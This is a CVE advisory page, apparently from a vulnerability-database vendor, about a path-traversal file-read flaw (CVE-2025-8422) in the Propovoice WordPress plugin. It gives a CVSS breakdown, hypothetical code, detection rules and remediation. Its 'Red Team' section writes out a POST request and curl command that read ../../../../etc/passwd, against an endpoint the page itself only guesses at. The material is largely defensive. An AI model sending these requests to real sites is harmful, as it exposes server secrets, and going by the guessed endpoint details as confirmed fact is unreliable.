CVE-2025-8422
Executive Summary
CVE-2025-8422 is a critical Arbitrary File Read vulnerability affecting the Propovoice: All-in-One Client Management System WordPress plugin, versions up to and including 1.7.6.7. The flaw resides in the send_email() function, which fails to properly sanitize user-supplied input, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem. This can lead to the exposure of sensitive data such as database credentials, configuration files, and other secrets.
As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server software directly. The plugin's send_email() function is likely used for email notifications and may accept file paths as attachments or inline content without proper validation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is part of the WordPress plugin supply chain. Users who have installed the Propovoice plugin from the official WordPress plugin repository or third-party sources are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby packages, but its inclusion in a WordPress site introduces a supply chain risk. Administrators should verify the integrity of the plugin files and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The high confidentiality impact reflects the ability to read sensitive files, while the low attack complexity and no authentication requirement make this a significant threat.
Deep Dive & Mechanics
The vulnerability exists in the send_email() function of the Propovoice plugin. This function is designed to handle email sending, likely including file attachments or inline file references. The flaw is a classic path traversal (CWE-22) issue, where user-controlled input (e.g., a file path parameter) is not properly sanitized.
An attacker can craft a request to the send_email() function with a malicious file path, such as ../../../../etc/passwd, to read arbitrary files. The function likely uses PHP functions like file_get_contents() or fread() without validating the path against an allowed directory.
The attack flow:
- The attacker sends a POST request to the WordPress REST API or AJAX endpoint that triggers
send_email(). - The request includes a parameter (e.g.,
attachment_path) containing a path traversal sequence. - The plugin reads the file and includes its content in the email or returns it in the response.
- The attacker receives the file contents, potentially exposing sensitive data.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to:
// Vulnerable code (hypothetical)
function send_email($to, $subject, $message, $attachment_path) {
$attachment_content = file_get_contents($attachment_path);
// ... send email with attachment
}
A patched version would include path validation:
// Patched code (hypothetical)
function send_email($to, $subject, $message, $attachment_path) {
$allowed_dir = WP_CONTENT_DIR . '/uploads/';
$real_path = realpath($attachment_path);
if (strpos($real_path, $allowed_dir) !== 0) {
return false; // or throw error
}
$attachment_content = file_get_contents($real_path);
// ... send email with attachment
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install WordPress with Propovoice plugin version 1.7.6.7.
- Ensure the plugin is activated and the
send_email()function is accessible via AJAX or REST API.
Exploitation Steps:
- Identify the endpoint:
/wp-admin/admin-ajax.phpwith actionpropovoice_send_emailor similar. - Craft a POST request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=propovoice_send_email&to=attacker@example.com&subject=test&message=test&attachment_path=../../../../etc/passwd - The response will contain the contents of
/etc/passwd.
Alternative Exploit (cURL):
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=propovoice_send_email&to=attacker@example.com&subject=test&message=test&attachment_path=../../../../etc/passwd"
Blue Team
Detection:
- Monitor for requests to
admin-ajax.phpwith suspiciousattachment_pathparameters containing../sequences. - Look for outbound emails with unusual file attachments or large payloads.
- Check server logs for file read errors or path traversal attempts.
Hunting:
- Search for
file_get_contentsorfreadcalls in the Propovoice plugin code. - Review recent file access logs for unexpected reads outside the web root.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=propovoice_send_emailandattachment_pathcontaining../. - File System: Unauthorized reads of files like
/etc/passwd,/wp-config.php, or.env. - Logs: PHP error logs showing
file_get_contents(/etc/passwd): failed to open streamor similar. - Email: Outbound emails with suspicious attachments or large content from the WordPress server.
Detection Engineering
YARA Rule
rule Detect_Propovoice_File_Read_Exploit {
meta:
description = "Detects attempts to exploit CVE-2025-8422 in Propovoice plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8422"
strings:
$path_traversal = /\.\.\/\.\.\/\.\.\/\.\.\// nocase
$action = "propovoice_send_email" nocase
$attachment_param = "attachment_path" nocase
condition:
all of them
}
Sigma Rule
title: Propovoice Arbitrary File Read Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-8422 via path traversal in Propovoice plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=propovoice_send_email'
cs-uri-query|contains: 'attachment_path='
cs-uri-query|re: '\.\.\/'
condition: selection
falsepositives:
- Legitimate use of file attachments with relative paths (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8422 Propovoice Arbitrary File Read Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=propovoice_send_email"; http_client_body; content:"attachment_path"; http_client_body; pcre:"/\.\.\//"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Propovoice plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests containing
../in theattachment_pathparameter. - Restrict file read permissions on the server to prevent access to sensitive files.
Long-term Fix:
- The vendor must release a patched version that validates file paths against an allowed directory.
- Users should monitor the plugin's update channel and apply patches as soon as they are available.
Workaround:
- If the plugin cannot be disabled, modify the plugin code to add path validation (see patched code example above).
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.